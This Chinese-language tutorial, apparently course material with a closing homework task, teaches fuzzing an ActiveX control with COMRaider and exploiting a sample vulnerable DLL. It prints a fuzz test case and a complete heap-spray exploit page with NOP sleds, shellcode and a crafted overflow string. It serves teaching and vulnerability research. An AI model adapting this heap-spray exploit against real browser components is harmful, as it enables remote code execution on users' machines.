浏览器中的ActiveX控件中如果存在溢出漏洞,则同样十分容易被利用。
下面介绍几种工具及方法。
1. 首先需要手动注册com
方法:
regsvr32 xxx.dll
2. 所注册的com实际上都存在于注册表中:
在路径HKEY_CLASSES_ROOT\CLSID中,以一串唯一的GUID来表示:
这里,记录了实际的ProgID名字和路径。
3. 可以使用工具来查看com的成员函数等基本信息。
1)使用COM Explorer工具来查看注册表中的注册信息:
2)使用VC6自带的工具com object viewer可以查看函数声明
3)利用COMRaider可以做fuzz测试。
第一步:
选择第一项点击next
第二步:
选中需要测试的组件,这里选择的是示例程序vuln.dll。
第三步:
选择需要fuzz的函数,右键点击Fuzz member。
第四步:
COMRaider会自己生成很多的wsf文件,每个文件实际上是一个html,html里面会构造畸形数据,然后通过vbs,js等网页脚本语言调用对应的method。
第五步:
点击begin Fuzzing
则会依次Fuzz函数
第五步:
如果函数内部存在漏洞,则就会产生exceptions。Result中是Caused Exception的话,那么就说明程序被fuzz崩溃了,很有可能存在漏洞。
第6步:
查看测试用例html。
选中上面产生Caused Exception的行,右键查看文件:
<?XML version='1.0' standalone='yes' ?>
<package><job id='DoneInVBS' debug='false' error='true'>
<object classid='clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D' id='target' />
<script language='vbscript'>
'File Generated by COMRaider v0.0.133 - http://labs.idefense.com
'Wscript.echo typename(target)
'for debugging/custom prolog
targetFile = "C:\iDefense\COMRaider\vuln.dll"
prototype = "Function Method1 ( ByVal sPath As String ) As Long"
memberName = "Method1"
progid = "VULNLib.server"
argCount = 1
arg1=String(1044, "A")
target.Method1 arg1
</script></job></package>
这里代码很简单,就是直接调用Method方法,然后是1044个“A”,值得注意的是html中需要首先嵌入com对象,使用下面的标签:
<object classid='clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D' id='target' /> 其中的clsid即为上面查询到的guid。
第7步:
编译自己的html。
首先需要嵌入object标签,然后开始使用OD调试:
OD打开IE,然后在OLEAUT32.dll中的DispCallFunc处下断
当加载自己构造的fuzz的页面后,会断下来,然后在call ecx这个跟进,即可到达对应的函数内部。
跟进后,就可以查看崩溃的原因。
这个示例的dll是一个栈溢出,所以可以精心的构造一个html:
<html>
<body>
<object classid="clsid:8EF2A07C-6E69-4144-96AA-2247D892A73D" id='target'></object>
<script>
var nops = unescape("%u9090%u9090");
var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857";
while (nops.length < 0x100000)
nops += nops;
nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);
nops=nops+shellcode;
var memory = new Array();
for (var i=0;i<200;i++)
memory[i] += nops;
//---------------------------------------------
var url = '';
while(url.length < 6164)
url = url + "\x0a\x0a\x0a\x0a";
url = url + "\x0c\x0c\x0c\x0c";
target.Method1(url);
</script>
</body>
</html>
这里的代码分两个部分:
这部分是构造畸形字符串,溢出返回地址:
var url = '';
while(url.length < 6164)
url = url + "\x0a\x0a\x0a\x0a";
url = url + "\x0c\x0c\x0c\x0c";
target.Method1(url);
这部分是利用堆喷射,创建了很多内存空间,然后填写满shellcode.
shellcode的组织形式是大量的nop+真正的shellcode,这么做的好处就是当返回到任意的空间后,这里是0x0a0a0a0a,就有机会跳转落入到这个地方,然后执行代码。
var nops = unescape("%u9090%u9090");
var shellcode="\u68fc\u0a6a\u1e38\u6368\ud189\u684f\u7432\u0c91\uf48b\u7e8d\u33f4\ub7db\u2b04\u66e3\u33bb\u5332\u7568\u6573\u5472\ud233\u8b64\u305a\u4b8b\u8b0c\u1c49\u098b\u698b\uad08\u6a3d\u380a\u751e\u9505\u57ff\u95f8\u8b60\u3c45\u4c8b\u7805\ucd03\u598b\u0320\u33dd\u47ff\u348b\u03bb\u99f5\ube0f\u3a06\u74c4\uc108\u07ca\ud003\ueb46\u3bf1\u2454\u751c\u8be4\u2459\udd03\u8b66\u7b3c\u598b\u031c\u03dd\ubb2c\u5f95\u57ab\u3d61\u0a6a\u1e38\ua975\udb33\u6853\u6577\u7473\u6668\u6961\u8b6c\u53c4\u5050\uff53\ufc57\uff53\uf857";
while (nops.length < 0x100000)
nops += nops;
nops=nops.substring(0,0x100000/2-32/2-4/2-2/2-shellcode.length);
nops=nops+shellcode;
var memory = new Array();
for (var i=0;i<200;i++)
memory[i] += nops;
作业:
分析ActiveX expB中的漏洞,并利用。